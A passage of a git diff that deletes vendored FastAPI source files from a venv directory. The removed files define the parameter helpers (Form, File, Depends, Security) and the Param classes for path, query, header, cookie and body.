dict[str, Example] | None, - Doc( - """ - OpenAPI-specific examples. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Swagger UI (that provides the `/docs` interface) has better support for the - OpenAPI-specific examples than the JSON Schema `examples`, that's the main - use case for this. - - Read more about it in the - [FastAPI docs for Declare Request Example Data](https://fastapi.tiangolo.com/tutorial/schema-extra-example/#using-the-openapi_examples-parameter). - """ - ), - ] = None, - deprecated: Annotated[ - deprecated | str | bool | None, - Doc( - """ - Mark this parameter field as deprecated. - - It will affect the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - include_in_schema: Annotated[ - bool, - Doc( - """ - To include (or not) this parameter field in the generated OpenAPI. - You probably don't need it, but it's available. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = True, - json_schema_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Any additional JSON schema data. - """ - ), - ] = None, - **extra: Annotated[ - Any, - Doc( - """ - Include extra fields used by the JSON Schema. - """ - ), - deprecated( - """ - The `extra` kwargs is deprecated. Use `json_schema_extra` instead. - """ - ), - ], -) -> Any: - return params.Form( - default=default, - default_factory=default_factory, - media_type=media_type, - alias=alias, - alias_priority=alias_priority, - validation_alias=validation_alias, - serialization_alias=serialization_alias, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - pattern=pattern, - regex=regex, - discriminator=discriminator, - strict=strict, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - example=example, - examples=examples, - openapi_examples=openapi_examples, - deprecated=deprecated, - include_in_schema=include_in_schema, - json_schema_extra=json_schema_extra, - **extra, - ) - - -def File( # noqa: N802 - default: Annotated[ - Any, - Doc( - """ - Default value if the parameter field is not set. - """ - ), - ] = Undefined, - *, - default_factory: Annotated[ - Callable[[], Any] | None, - Doc( - """ - A callable to generate the default value. - - This doesn't affect `Path` parameters as the value is always required. - The parameter is available only for compatibility. - """ - ), - ] = _Unset, - media_type: Annotated[ - str, - Doc( - """ - The media type of this parameter field. Changing it would affect the - generated OpenAPI, but currently it doesn't affect the parsing of the data. - """ - ), - ] = "multipart/form-data", - alias: Annotated[ - str | None, - Doc( - """ - An alternative name for the parameter field. - - This will be used to extract the data and for the generated OpenAPI. - It is particularly useful when you can't use the name you want because it - is a Python reserved keyword or similar. - """ - ), - ] = None, - alias_priority: Annotated[ - int | None, - Doc( - """ - Priority of the alias. This affects whether an alias generator is used. - """ - ), - ] = _Unset, - validation_alias: Annotated[ - str | AliasPath | AliasChoices | None, - Doc( - """ - 'Whitelist' validation step. The parameter field will be the single one - allowed by the alias or set of aliases defined. - """ - ), - ] = None, - serialization_alias: Annotated[ - str | None, - Doc( - """ - 'Blacklist' validation step. The vanilla parameter field will be the - single one of the alias' or set of aliases' fields and all the other - fields will be ignored at serialization time. - """ - ), - ] = None, - title: Annotated[ - str | None, - Doc( - """ - Human-readable title. - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Human-readable description. - """ - ), - ] = None, - gt: Annotated[ - float | None, - Doc( - """ - Greater than. If set, value must be greater than this. Only applicable to - numbers. - """ - ), - ] = None, - ge: Annotated[ - float | None, - Doc( - """ - Greater than or equal. If set, value must be greater than or equal to - this. Only applicable to numbers. - """ - ), - ] = None, - lt: Annotated[ - float | None, - Doc( - """ - Less than. If set, value must be less than this. Only applicable to numbers. - """ - ), - ] = None, - le: Annotated[ - float | None, - Doc( - """ - Less than or equal. If set, value must be less than or equal to this. - Only applicable to numbers. - """ - ), - ] = None, - min_length: Annotated[ - int | None, - Doc( - """ - Minimum length for strings. - """ - ), - ] = None, - max_length: Annotated[ - int | None, - Doc( - """ - Maximum length for strings. - """ - ), - ] = None, - pattern: Annotated[ - str | None, - Doc( - """ - RegEx pattern for strings. - """ - ), - ] = None, - regex: Annotated[ - str | None, - Doc( - """ - RegEx pattern for strings. - """ - ), - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: Annotated[ - str | None, - Doc( - """ - Parameter field name for discriminating the type in a tagged union. - """ - ), - ] = None, - strict: Annotated[ - bool | None, - Doc( - """ - If `True`, strict validation is applied to the field. - """ - ), - ] = _Unset, - multiple_of: Annotated[ - float | None, - Doc( - """ - Value must be a multiple of this. Only applicable to numbers. - """ - ), - ] = _Unset, - allow_inf_nan: Annotated[ - bool | None, - Doc( - """ - Allow `inf`, `-inf`, `nan`. Only applicable to numbers. - """ - ), - ] = _Unset, - max_digits: Annotated[ - int | None, - Doc( - """ - Maximum number of digits allowed for decimal values. - """ - ), - ] = _Unset, - decimal_places: Annotated[ - int | None, - Doc( - """ - Maximum number of decimal places allowed for decimal values. - """ - ), - ] = _Unset, - examples: Annotated[ - list[Any] | None, - Doc( - """ - Example values for this field. - - Read more about it in the - [FastAPI docs for Declare Request Example Data](https://fastapi.tiangolo.com/tutorial/schema-extra-example/) - """ - ), - ] = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: Annotated[ - dict[str, Example] | None, - Doc( - """ - OpenAPI-specific examples. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Swagger UI (that provides the `/docs` interface) has better support for the - OpenAPI-specific examples than the JSON Schema `examples`, that's the main - use case for this. - - Read more about it in the - [FastAPI docs for Declare Request Example Data](https://fastapi.tiangolo.com/tutorial/schema-extra-example/#using-the-openapi_examples-parameter). - """ - ), - ] = None, - deprecated: Annotated[ - deprecated | str | bool | None, - Doc( - """ - Mark this parameter field as deprecated. - - It will affect the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - include_in_schema: Annotated[ - bool, - Doc( - """ - To include (or not) this parameter field in the generated OpenAPI. - You probably don't need it, but it's available. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = True, - json_schema_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Any additional JSON schema data. - """ - ), - ] = None, - **extra: Annotated[ - Any, - Doc( - """ - Include extra fields used by the JSON Schema. - """ - ), - deprecated( - """ - The `extra` kwargs is deprecated. Use `json_schema_extra` instead. - """ - ), - ], -) -> Any: - return params.File( - default=default, - default_factory=default_factory, - media_type=media_type, - alias=alias, - alias_priority=alias_priority, - validation_alias=validation_alias, - serialization_alias=serialization_alias, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - pattern=pattern, - regex=regex, - discriminator=discriminator, - strict=strict, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - example=example, - examples=examples, - openapi_examples=openapi_examples, - deprecated=deprecated, - include_in_schema=include_in_schema, - json_schema_extra=json_schema_extra, - **extra, - ) - - -def Depends( # noqa: N802 - dependency: Annotated[ - Callable[..., Any] | None, - Doc( - """ - A "dependable" callable (like a function). - - Don't call it directly, FastAPI will call it for you, just pass the object - directly. - - Read more about it in the - [FastAPI docs for Dependencies](https://fastapi.tiangolo.com/tutorial/dependencies/) - """ - ), - ] = None, - *, - use_cache: Annotated[ - bool, - Doc( - """ - By default, after a dependency is called the first time in a request, if - the dependency is declared again for the rest of the request (for example - if the dependency is needed by several dependencies), the value will be - re-used for the rest of the request. - - Set `use_cache` to `False` to disable this behavior and ensure the - dependency is called again (if declared more than once) in the same request. - - Read more about it in the - [FastAPI docs about sub-dependencies](https://fastapi.tiangolo.com/tutorial/dependencies/sub-dependencies/#using-the-same-dependency-multiple-times) - """ - ), - ] = True, - scope: Annotated[ - Literal["function", "request"] | None, - Doc( - """ - Mainly for dependencies with `yield`, define when the dependency function - should start (the code before `yield`) and when it should end (the code - after `yield`). - - * `"function"`: start the dependency before the *path operation function* - that handles the request, end the dependency after the *path operation - function* ends, but **before** the response is sent back to the client. - So, the dependency function will be executed **around** the *path operation - **function***. - * `"request"`: start the dependency before the *path operation function* - that handles the request (similar to when using `"function"`), but end - **after** the response is sent back to the client. So, the dependency - function will be executed **around** the **request** and response cycle. - - Read more about it in the - [FastAPI docs for FastAPI Dependencies with yield](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-with-yield/#early-exit-and-scope) - """ - ), - ] = None, -) -> Any: - """ - Declare a FastAPI dependency. - - It takes a single "dependable" callable (like a function). - - Don't call it directly, FastAPI will call it for you. - - Read more about it in the - [FastAPI docs for Dependencies](https://fastapi.tiangolo.com/tutorial/dependencies/). - - **Example** - - ```python - from typing import Annotated - - from fastapi import Depends, FastAPI - - app = FastAPI() - - - async def common_parameters(q: str | None = None, skip: int = 0, limit: int = 100): - return {"q": q, "skip": skip, "limit": limit} - - - @app.get("/items/") - async def read_items(commons: Annotated[dict, Depends(common_parameters)]): - return commons - ``` - """ - return params.Depends(dependency=dependency, use_cache=use_cache, scope=scope) - - -def Security( # noqa: N802 - dependency: Annotated[ - Callable[..., Any] | None, - Doc( - """ - A "dependable" callable (like a function). - - Don't call it directly, FastAPI will call it for you, just pass the object - directly. - - Read more about it in the - [FastAPI docs for Dependencies](https://fastapi.tiangolo.com/tutorial/dependencies/) - """ - ), - ] = None, - *, - scopes: Annotated[ - Sequence[str] | None, - Doc( - """ - OAuth2 scopes required for the *path operation* that uses this Security - dependency. - - The term "scope" comes from the OAuth2 specification, it seems to be - intentionally vague and interpretable. It normally refers to permissions, - in cases to roles. - - These scopes are integrated with OpenAPI (and the API docs at `/docs`). - So they are visible in the OpenAPI specification. - - Read more about it in the - [FastAPI docs about OAuth2 scopes](https://fastapi.tiangolo.com/advanced/security/oauth2-scopes/) - """ - ), - ] = None, - use_cache: Annotated[ - bool, - Doc( - """ - By default, after a dependency is called the first time in a request, if - the dependency is declared again for the rest of the request (for example - if the dependency is needed by several dependencies), the value will be - re-used for the rest of the request. - - Set `use_cache` to `False` to disable this behavior and ensure the - dependency is called again (if declared more than once) in the same request. - - Read more about it in the - [FastAPI docs about sub-dependencies](https://fastapi.tiangolo.com/tutorial/dependencies/sub-dependencies/#using-the-same-dependency-multiple-times) - """ - ), - ] = True, -) -> Any: - """ - Declare a FastAPI Security dependency. - - The only difference with a regular dependency is that it can declare OAuth2 - scopes that will be integrated with OpenAPI and the automatic UI docs (by default - at `/docs`). - - It takes a single "dependable" callable (like a function). - - Don't call it directly, FastAPI will call it for you. - - Read more about it in the - [FastAPI docs for Security](https://fastapi.tiangolo.com/tutorial/security/) and - in the - [FastAPI docs for OAuth2 scopes](https://fastapi.tiangolo.com/advanced/security/oauth2-scopes/). - - **Example** - - ```python - from typing import Annotated - - from fastapi import Security, FastAPI - - from .db import User - from .security import get_current_active_user - - app = FastAPI() - - @app.get("/users/me/items/") - async def read_own_items( - current_user: Annotated[User, Security(get_current_active_user, scopes=["items"])] - ): - return [{"item_id": "Foo", "owner": current_user.username}] - ``` - """ - return params.Security(dependency=dependency, scopes=scopes, use_cache=use_cache) diff --git a/venv/Lib/site-packages/fastapi/params.py b/venv/Lib/site-packages/fastapi/params.py deleted file mode 100644 index d3f2ae175b1fd3f0dc95c2be70ec7c546040f6ae..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/params.py +++ /dev/null @@ -1,754 +0,0 @@ -import warnings -from collections.abc import Callable, Sequence -from dataclasses import dataclass -from enum import Enum -from typing import Annotated, Any, Literal - -from fastapi.exceptions import FastAPIDeprecationWarning -from fastapi.openapi.models import Example -from pydantic import AliasChoices, AliasPath -from pydantic.fields import FieldInfo -from typing_extensions import deprecated - -from ._compat import ( - Undefined, -) -from .datastructures import _Unset - - -class ParamTypes(Enum): - query = "query" - header = "header" - path = "path" - cookie = "cookie" - - -class Param(FieldInfo): # type: ignore[misc] # ty: ignore[subclass-of-final-class] - in_: ParamTypes - - def __init__( - self, - default: Any = Undefined, - *, - default_factory: Callable[[], Any] | None = _Unset, - annotation: Any | None = None, - alias: str | None = None, - alias_priority: int | None = _Unset, - validation_alias: str | AliasPath | AliasChoices | None = None, - serialization_alias: str | None = None, - title: str | None = None, - description: str | None = None, - gt: float | None = None, - ge: float | None = None, - lt: float | None = None, - le: float | None = None, - min_length: int | None = None, - max_length: int | None = None, - pattern: str | None = None, - regex: Annotated[ - str | None, - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: str | None = None, - strict: bool | None = _Unset, - multiple_of: float | None = _Unset, - allow_inf_nan: bool | None = _Unset, - max_digits: int | None = _Unset, - decimal_places: int | None = _Unset, - examples: list[Any] | None = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: dict[str, Example] | None = None, - deprecated: deprecated | str | bool | None = None, - include_in_schema: bool = True, - json_schema_extra: dict[str, Any] | None = None, - **extra: Any, - ): - if example is not _Unset: - warnings.warn( - "`example` has been deprecated, please use `examples` instead", - category=FastAPIDeprecationWarning, - stacklevel=4, - ) - self.example = example - self.include_in_schema = include_in_schema - self.openapi_examples = openapi_examples - kwargs = dict( - default=default, - default_factory=default_factory, - alias=alias, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - discriminator=discriminator, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - **extra, - ) - if examples is not None: - kwargs["examples"] = examples - if regex is not None: - warnings.warn( - "`regex` has been deprecated, please use `pattern` instead", - category=FastAPIDeprecationWarning, - stacklevel=4, - ) - current_json_schema_extra = json_schema_extra or extra - kwargs["deprecated"] = deprecated - - if serialization_alias in (_Unset, None) and isinstance(alias, str): - serialization_alias = alias - if validation_alias in (_Unset, None): - validation_alias = alias - kwargs.update( - { - "annotation": annotation, - "alias_priority": alias_priority, - "validation_alias": validation_alias, - "serialization_alias": serialization_alias, - "strict": strict, - "json_schema_extra": current_json_schema_extra, - } - ) - kwargs["pattern"] = pattern or regex - - use_kwargs = {k: v for k, v in kwargs.items() if v is not _Unset} - - super().__init__(**use_kwargs) # ty: ignore[invalid-argument-type] - - def __repr__(self) -> str: - return f"{self.__class__.__name__}({self.default})" - - -class Path(Param): # type: ignore[misc] - in_ = ParamTypes.path - - def __init__( - self, - default: Any = ..., - *, - default_factory: Callable[[], Any] | None = _Unset, - annotation: Any | None = None, - alias: str | None = None, - alias_priority: int | None = _Unset, - validation_alias: str | AliasPath | AliasChoices | None = None, - serialization_alias: str | None = None, - title: str | None = None, - description: str | None = None, - gt: float | None = None, - ge: float | None = None, - lt: float | None = None, - le: float | None = None, - min_length: int | None = None, - max_length: int | None = None, - pattern: str | None = None, - regex: Annotated[ - str | None, - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: str | None = None, - strict: bool | None = _Unset, - multiple_of: float | None = _Unset, - allow_inf_nan: bool | None = _Unset, - max_digits: int | None = _Unset, - decimal_places: int | None = _Unset, - examples: list[Any] | None = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: dict[str, Example] | None = None, - deprecated: deprecated | str | bool | None = None, - include_in_schema: bool = True, - json_schema_extra: dict[str, Any] | None = None, - **extra: Any, - ): - assert default is ..., "Path parameters cannot have a default value" - self.in_ = self.in_ - super().__init__( - default=default, - default_factory=default_factory, - annotation=annotation, - alias=alias, - alias_priority=alias_priority, - validation_alias=validation_alias, - serialization_alias=serialization_alias, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - pattern=pattern, - regex=regex, - discriminator=discriminator, - strict=strict, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - deprecated=deprecated, - example=example, - examples=examples, - openapi_examples=openapi_examples, - include_in_schema=include_in_schema, - json_schema_extra=json_schema_extra, - **extra, - ) - - -class Query(Param): # type: ignore[misc] - in_ = ParamTypes.query - - def __init__( - self, - default: Any = Undefined, - *, - default_factory: Callable[[], Any] | None = _Unset, - annotation: Any | None = None, - alias: str | None = None, - alias_priority: int | None = _Unset, - validation_alias: str | AliasPath | AliasChoices | None = None, - serialization_alias: str | None = None, - title: str | None = None, - description: str | None = None, - gt: float | None = None, - ge: float | None = None, - lt: float | None = None, - le: float | None = None, - min_length: int | None = None, - max_length: int | None = None, - pattern: str | None = None, - regex: Annotated[ - str | None, - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: str | None = None, - strict: bool | None = _Unset, - multiple_of: float | None = _Unset, - allow_inf_nan: bool | None = _Unset, - max_digits: int | None = _Unset, - decimal_places: int | None = _Unset, - examples: list[Any] | None = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: dict[str, Example] | None = None, - deprecated: deprecated | str | bool | None = None, - include_in_schema: bool = True, - json_schema_extra: dict[str, Any] | None = None, - **extra: Any, - ): - super().__init__( - default=default, - default_factory=default_factory, - annotation=annotation, - alias=alias, - alias_priority=alias_priority, - validation_alias=validation_alias, - serialization_alias=serialization_alias, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - pattern=pattern, - regex=regex, - discriminator=discriminator, - strict=strict, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - deprecated=deprecated, - example=example, - examples=examples, - openapi_examples=openapi_examples, - include_in_schema=include_in_schema, - json_schema_extra=json_schema_extra, - **extra, - ) - - -class Header(Param): # type: ignore[misc] - in_ = ParamTypes.header - - def __init__( - self, - default: Any = Undefined, - *, - default_factory: Callable[[], Any] | None = _Unset, - annotation: Any | None = None, - alias: str | None = None, - alias_priority: int | None = _Unset, - validation_alias: str | AliasPath | AliasChoices | None = None, - serialization_alias: str | None = None, - convert_underscores: bool = True, - title: str | None = None, - description: str | None = None, - gt: float | None = None, - ge: float | None = None, - lt: float | None = None, - le: float | None = None, - min_length: int | None = None, - max_length: int | None = None, - pattern: str | None = None, - regex: Annotated[ - str | None, - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: str | None = None, - strict: bool | None = _Unset, - multiple_of: float | None = _Unset, - allow_inf_nan: bool | None = _Unset, - max_digits: int | None = _Unset, - decimal_places: int | None = _Unset, - examples: list[Any] | None = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: dict[str, Example] | None = None, - deprecated: deprecated | str | bool | None = None, - include_in_schema: bool = True, - json_schema_extra: dict[str, Any] | None = None, - **extra: Any, - ): - self.convert_underscores = convert_underscores - super().__init__( - default=default, - default_factory=default_factory, - annotation=annotation, - alias=alias, - alias_priority=alias_priority, - validation_alias=validation_alias, - serialization_alias=serialization_alias, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - pattern=pattern, - regex=regex, - discriminator=discriminator, - strict=strict, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - deprecated=deprecated, - example=example, - examples=examples, - openapi_examples=openapi_examples, - include_in_schema=include_in_schema, - json_schema_extra=json_schema_extra, - **extra, - ) - - -class Cookie(Param): # type: ignore[misc] - in_ = ParamTypes.cookie - - def __init__( - self, - default: Any = Undefined, - *, - default_factory: Callable[[], Any] | None = _Unset, - annotation: Any | None = None, - alias: str | None = None, - alias_priority: int | None = _Unset, - validation_alias: str | AliasPath | AliasChoices | None = None, - serialization_alias: str | None = None, - title: str | None = None, - description: str | None = None, - gt: float | None = None, - ge: float | None = None, - lt: float | None = None, - le: float | None = None, - min_length: int | None = None, - max_length: int | None = None, - pattern: str | None = None, - regex: Annotated[ - str | None, - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: str | None = None, - strict: bool | None = _Unset, - multiple_of: float | None = _Unset, - allow_inf_nan: bool | None = _Unset, - max_digits: int | None = _Unset, - decimal_places: int | None = _Unset, - examples: list[Any] | None = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: dict[str, Example] | None = None, - deprecated: deprecated | str | bool | None = None, - include_in_schema: bool = True, - json_schema_extra: dict[str, Any] | None = None, - **extra: Any, - ): - super().__init__( - default=default, - default_factory=default_factory, - annotation=annotation, - alias=alias, - alias_priority=alias_priority, - validation_alias=validation_alias, - serialization_alias=serialization_alias, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - pattern=pattern, - regex=regex, - discriminator=discriminator, - strict=strict, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - deprecated=deprecated, - example=example, - examples=examples, - openapi_examples=openapi_examples, - include_in_schema=include_in_schema, - json_schema_extra=json_schema_extra, - **extra, - ) - - -class Body(FieldInfo): # type: ignore[misc] # ty: ignore[subclass-of-final-class] - def __init__( - self, - default: Any = Undefined, - *, - default_factory: Callable[[], Any] | None = _Unset, - annotation: Any | None = None, - embed: bool | None = None, - media_type: str = "application/json", - alias: str | None = None, - alias_priority: int | None = _Unset, - validation_alias: str | AliasPath | AliasChoices | None = None, - serialization_alias: str | None = None, - title: str | None = None, - description: str | None = None, - gt: float | None = None, - ge: float | None = None, - lt: float | None = None, - le: float | None = None, - min_length: int | None = None, - max_length: int | None = None, - pattern: str | None = None, - regex: Annotated[ - str | None, - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: str | None = None, - strict: bool | None = _Unset, - multiple_of: float | None = _Unset, - allow_inf_nan: bool | None = _Unset, - max_digits: int | None = _Unset, - decimal_places: int | None = _Unset, - examples: list[Any] | None = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: dict[str, Example] | None = None, - deprecated: deprecated | str | bool | None = None, - include_in_schema: bool = True, - json_schema_extra: dict[str, Any] | None = None, - **extra: Any, - ): - self.embed = embed - self.media_type = media_type - if example is not _Unset: - warnings.warn( - "`example` has been deprecated, please use `examples` instead", - category=FastAPIDeprecationWarning, - stacklevel=4, - ) - self.example = example - self.include_in_schema = include_in_schema - self.openapi_examples = openapi_examples - kwargs = dict( - default=default, - default_factory=default_factory, - alias=alias, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - discriminator=discriminator, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - **extra, - ) - if examples is not None: - kwargs["examples"] = examples - if regex is not None: - warnings.warn( - "`regex` has been deprecated, please use `pattern` instead", - category=FastAPIDeprecationWarning, - stacklevel=4, - ) - current_json_schema_extra = json_schema_extra or extra - kwargs["deprecated"] = deprecated - if serialization_alias in (_Unset, None) and isinstance(alias, str): - serialization_alias = alias - if validation_alias in (_Unset, None): - validation_alias = alias - kwargs.update( - { - "annotation": annotation, - "alias_priority": alias_priority, - "validation_alias": validation_alias, - "serialization_alias": serialization_alias, - "strict": strict, - "json_schema_extra": current_json_schema_extra, - } - ) - kwargs["pattern"] = pattern or regex - - use_kwargs = {k: v for k, v in kwargs.items() if v is not _Unset} - - super().__init__(**use_kwargs) # ty: ignore[invalid-argument-type] - - def __repr__(self) -> str: - return f"{self.__class__.__name__}({self.default})" - - -class Form(Body): # type: ignore[misc] - def __init__( - self, - default: Any = Undefined, - *, - default_factory: Callable[[], Any] | None = _Unset, - annotation: Any | None = None, - media_type: str = "application/x-www-form-urlencoded", - alias: str | None = None, - alias_priority: int | None = _Unset, - validation_alias: str | AliasPath | AliasChoices | None = None, - serialization_alias: str | None = None, - title: str | None = None, - description: str | None = None, - gt: float | None = None, - ge: float | None = None, - lt: float | None = None, - le: float | None = None, - min_length: int | None = None, - max_length: int | None = None, - pattern: str | None = None, - regex: Annotated[ - str | None, - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: str | None = None, - strict: bool | None = _Unset, - multiple_of: float | None = _Unset, - allow_inf_nan: bool | None = _Unset, - max_digits: int | None = _Unset, - decimal_places: int | None = _Unset, - examples: list[Any] | None = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: dict[str, Example] | None = None, - deprecated: deprecated | str | bool | None = None, - include_in_schema: bool = True, - json_schema_extra: dict[str, Any] | None = None, - **extra: Any, - ): - super().__init__( - default=default, - default_factory=default_factory, - annotation=annotation, - media_type=media_type, - alias=alias, - alias_priority=alias_priority, - validation_alias=validation_alias, - serialization_alias=serialization_alias, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - pattern=pattern, - regex=regex, - discriminator=discriminator, - strict=strict, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - deprecated=deprecated, - example=example, - examples=examples, - openapi_examples=openapi_examples, - include_in_schema=include_in_schema, - json_schema_extra=json_schema_extra, - **extra, - ) - - -class File(Form): # type: ignore[misc] - def __init__( - self, - default: Any = Undefined, - *, - default_factory: Callable[[], Any] | None = _Unset, - annotation: Any | None = None, - media_type: str = "multipart/form-data", - alias: str | None = None, - alias_priority: int | None = _Unset, - validation_alias: str | AliasPath | AliasChoices | None = None, - serialization_alias: str | None = None, - title: str | None = None, - description: str | None = None, - gt: float | None = None, - ge: float | None = None, - lt: float | None = None, - le: float | None = None, - min_length: int | None = None, - max_length: int | None = None, - pattern: str | None = None, - regex: Annotated[ - str | None, - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: str | None = None, - strict: bool | None = _Unset, - multiple_of: float | None = _Unset, - allow_inf_nan: bool | None = _Unset, - max_digits: int | None = _Unset, - decimal_places: int | None = _Unset, - examples: list[Any] | None = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: dict[str, Example] | None = None, - deprecated: deprecated | str | bool | None = None, - include_in_schema: bool = True, - json_schema_extra: dict[str, Any] | None = None, - **extra: Any, - ): - super().__init__( - default=default, - default_factory=default_factory, - annotation=annotation, - media_type=media_type, - alias=alias, - alias_priority=alias_priority, - validation_alias=validation_alias, - serialization_alias=serialization_alias, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - pattern=pattern, - regex=regex, - discriminator=discriminator, - strict=strict, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - deprecated=deprecated, - example=example, - examples=examples, - openapi_examples=openapi_examples, - include_in_schema=include_in_schema, - json_schema_extra=json_schema_extra, - **extra, - ) - - -@dataclass(frozen=True) -class Depends: - dependency: Callable[..., Any] | None = None - use_cache: bool = True - scope: Literal["function", "request"] | None = None - - -@dataclass(frozen=True) -class Security(Depends): - scopes: Sequence[str] | None = None diff --git a/venv/Lib/site-packages/fastapi/py.typed b/venv/Lib/site-packages/fastapi/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/fastapi/requests.py b/venv/Lib/site-packages/fastapi/requests.py deleted file mode 100644 index d16552c0a9535e1c0bd7f701987301681832eba5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/requests.py +++ /dev/null @@ -1,2 +0,0 @@ -from starlette.requests import HTTPConnection as HTTPConnection # noqa: F401 -from starlette.requests import Request as Request # noqa: F401 diff --git a/venv/Lib/site-packages/fastapi/responses.py b/venv/Lib/site-packages/fastapi/responses.py deleted file mode 100644 index 29df4b7a614b411237700d25c4ac27b985811730..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/responses.py +++ /dev/null @@ -1,98 +0,0 @@ -import importlib -from typing import Any, Protocol, cast - -from fastapi.exceptions import FastAPIDeprecationWarning -from fastapi.sse import EventSourceResponse as EventSourceResponse # noqa -from starlette.responses import FileResponse as FileResponse # noqa -from starlette.responses import HTMLResponse as HTMLResponse # noqa -from starlette.responses import JSONResponse as JSONResponse # noqa -from starlette.responses import PlainTextResponse as PlainTextResponse # noqa -from starlette.responses import RedirectResponse as RedirectResponse # noqa -from starlette.responses import Response as Response # noqa -from starlette.responses import StreamingResponse as StreamingResponse # noqa -from typing_extensions import deprecated - - -class _UjsonModule(Protocol): - def dumps(self, __obj: Any, *, ensure_ascii: bool = ...) -> str: ... - - -class _OrjsonModule(Protocol): - OPT_NON_STR_KEYS: int - OPT_SERIALIZE_NUMPY: int - - def dumps(self, __obj: Any, *, option: int = ...) -> bytes: ... - - -try: - ujson = 